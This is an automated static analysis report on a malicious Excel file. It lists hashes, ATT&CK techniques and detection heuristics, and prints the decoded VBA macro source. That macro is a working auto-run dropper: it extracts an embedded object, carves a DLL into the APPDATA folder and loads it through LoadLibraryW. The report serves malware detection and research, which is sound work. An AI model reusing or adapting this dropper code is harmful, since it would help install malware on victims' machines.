Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 55d98e4cd503eff3…

MALICIOUS

Office (OLE)

302.5 KB Created: 2019-08-30 09:14:50 Authoring application: Microsoft Excel First seen: 2020-02-04
MD5: 944cc2e33a38a2cccd4001a2bffddcc7 SHA-1: 31af74e6a46814d6166658cd3a2ca302d962f227 SHA-256: 55d98e4cd503eff3243db49337bf57e774e23e4acbe48bd5441c64a6f3c146ca
396 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information T1027 Obfuscated Files or Information T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an Excel file containing a Workbook_Open macro that triggers an Excel4 macro via ExecuteExcel4Macro. This macro attempts to load external DLLs ('masterbox1.dll' or 'masterbox2.dll') and displays a UserForm, indicating an attempt to download and execute a second-stage payload. The presence of an embedded PE executable and the ClamAV detection further support its malicious nature.

Heuristics 11

  • ClamAV: Xls.Malware.Sdrop-7173293-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Sdrop-7173293-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGER
    The compiled VBA p-code (identifier table) references an auto-firing ActiveX/control event together with ExecuteExcel4Macro, while the decompressed source does not — the VBA-stomping shape of the ActiveX-event XLM stager. The control event bridges into XLM formula execution to call Win32 / drop payloads, hidden from source-level scanners.
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
            Set oApp = CreateObject("Shell.Application")
        oApp.Namespace(ZipFolder).CopyHere oApp.Namespace(ZipName).items.Item("xl\embeddings\oleObject1.bin")
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
ExecuteExcel4Macro "MESSAGE(False, ""Debug"")"
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    UserForm2.TextBox1.Tag = Environ("TEMP")
UserForm2.TextBox2.Tag = Environ("APPDATA")
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6738 bytes
SHA-256: 1c5835f84fe63f50e8e852f1478575840b5648230f538de7dc691f60838a7f2a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wbO"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_Open()
ExecuteExcel4Macro "MESSAGE(False, ""Debug"")"

UserForm2.TextBox1.Tag = Environ("TEMP")
UserForm2.TextBox2.Tag = Environ("APPDATA")

ChDir (Environ("TEMP"))

    UserForm1.show
ExecuteExcel4Macro "MESSAGE(False, ""Debug"")"
End Sub


Attribute VB_Name = "Page1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
#If Win64 Then
    Public Declare PtrSafe Function Hadno Lib _
        "masterbox2.dll" () As Integer
    Public Declare PtrSafe Function Hadno2 Lib "kernel32" Alias "LoadLibraryW" (ByVal lpLibFileName As String) As Long
#Else
   Public Declare Function Hadno2 Lib "kernel32" Alias "LoadLibraryW" (ByVal lpLibFileName As String) As Long
     Public Declare Function Hadno Lib _
        "masterbox1.dll" () As Integer
#End If
        








Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{CCFDB59B-78BC-4D12-B95A-4E2A315557C8}{7CA76751-F17D-4AE4-AB18-A73A1249E536}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Label1_Click()

End Sub

Private Sub UserForm_Activate()
DoEvents
ReplaceCurrentModule
End Sub

Private Sub UserForm_Initialize()
Call SystemButtonSettings(Me, False)

End Sub

Attribute VB_Name = "Module2"
Private Const GWL_STYLE = -16
Private Const WS_CAPTION = &HC00000
Private Const WS_SYSMENU = &H80000

#If VBA7 Then

    Private Declare PtrSafe Function GetWindowLong _
        Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, _
        ByVal nIndex As Long) As Long
    Private Declare PtrSafe Function SetWindowLong _
        Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, _
        ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
    Private Declare PtrSafe Function FindWindowA _
        Lib "user32" (ByVal lpClassName As String, _
        ByVal lpWindowName As String) As Long
    Private Declare PtrSafe Function DrawMenuBar _
        Lib "user32" (ByVal hWnd As Long) As Long
        
#Else

    Private Declare Function GetWindowLong _
        Lib "user32" Alias "GetWindowLongA" ( _
        ByVal hWnd As Long, ByVal nIndex As Long) As Long
    Private Declare Function SetWindowLong _
        Lib "user32" Alias "SetWindowLongA" ( _
        ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
    Private Declare Function FindWindowA _
        Lib "user32" (ByVal lpClassName As String, _
        ByVal lpWindowName As String) As Long
    Private Declare Function DrawMenuBar _
        Lib "user32" (ByVal hWnd As Long) As Long
  
#End If

Public Sub SystemButtonSettings(frm As Object, show As Boolean)
Dim windowStyle As Long
Dim windowHandle As Long

windowHandle = FindWindowA(vbNullString, frm.Caption)
windowStyle = GetWindowLong(windowHandle, GWL_STYLE)

If show = False Then

    SetWindowLong windowHandle, GWL_STYLE, (windowStyle And Not WS_SYSMENU)

Else

    SetWindowLong windowHandle, GWL_STYLE, (windowStyle + WS_SYSMENU)

End If

DrawMenuBar (windowHandle)

End Sub
Public Sub Resoration(s As String, nm As String, fl As Long, num As Integer)
    Dim intFileNum As Long, bytTemp1 As Byte, bytTemp2 As Byte, bytTemp3 As Byte
    Dim DataArray() As Long

    ReDim DataArray(1 To fl)
    DataArray(1) = CByte(50 + 27)
    DataArray(2) = CByte(50 + 40)
    DataArray(3) = CByte(50 + 94)
    
    intFileNum = FreeFile
    Open s For Binary Access Read As intFileNum
    Dim cur As Integer
    cur = 1
    Do While Not EOF(intFileNum)
        Get intFileNum, , bytTemp1
        If bytTemp1 = DataArray(1) Then
           Get intFileNum, , bytTemp2
           If bytTemp2 = DataArray(2) Then
                Get intFileNum, , bytTemp3
                If bytTemp3 = DataArray(3) Then
                     If cur = num Then
                        For k = 4 To fl
                            Get intFileNum, , bytTemp1
                            DataArray(k) = bytTemp1
                            Next k
                         Exit Do
                     Else
                        cur = cur + 1
                     End If
                End If
           End If
        End If
    Loop
    Close intFileNum
    
    intFileNum = FreeFile
    Open nm For Binary Lock Read Write As #intFileNum
    For i = LBound(DataArray) To UBound(DataArray)
        Put #intFileNum, , CByte(DataArray(i))
    Next i

    Close #intFileNum
End Sub



Public Sub ReplaceCurrentModule()
    TempName = UserForm2.TextBox1.Tag & "\factory.xlsx"
    ZipName = TempName + ".zip"
    ZipFolder = UserForm2.TextBox1.Tag '& "\UnzTmp"
    Dim nm As String
    Dim size As Long
    Dim num As Integer
#If Win64 Then
    nm = UserForm2.TextBox2.Tag + "\masterbox2.dll"
    size = 67584
    num = 2
#Else
    
    nm = UserForm2.TextBox2.Tag + "\masterbox1.dll"
    size = 77824
    num = 1
#End If
        
        On Error Resume Next
        Kill ZipName
        Kill ZipFolder & "\oleObject*.bin"
      
        Kill nm
        On Error GoTo 0
    DoEvents
        ThisWorkbook.Sheets.Copy
        Application.DisplayAlerts = False
        ActiveWorkbook.SaveAs TempName, FileFormat:=51
    DoEvents
    ActiveWorkbook.Close
    DoEvents
        
    
        FileCopy TempName, ZipName
        
        Set oApp = CreateObject("Shell.Application")
        oApp.Namespace(ZipFolder).CopyHere oApp.Namespace(ZipName).items.Item("xl\embeddings\oleObject1.bin")
        Resoration ZipFolder + "\oleObject1.bin", nm, size, num
        
        ChDir (UserForm2.TextBox2.Tag)
        No_Hadno = Hadno2(nm)
        Hadno

End Sub


Attribute VB_Name = "Module3"


Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{550C1F9E-E17C-4586-8941-3A4A35ED4C5F}{D70A062E-B0F9-403C-8F57-B500507AF1AC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
embedded_office_00003b87.exe embedded-pe Office MZ+PE at offset 0x3B87 294521 bytes
SHA-256: 241fc96dad581671cd8213a6c8606481f0dcde1a9cb8ea20ad261de2156c062d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: MBD008E55B3/Ole10Native 156343 bytes
SHA-256: 6ec45172912e76b96041697a80a099f6b0816c480c79a915f7dcf8a4c7ce1e6f

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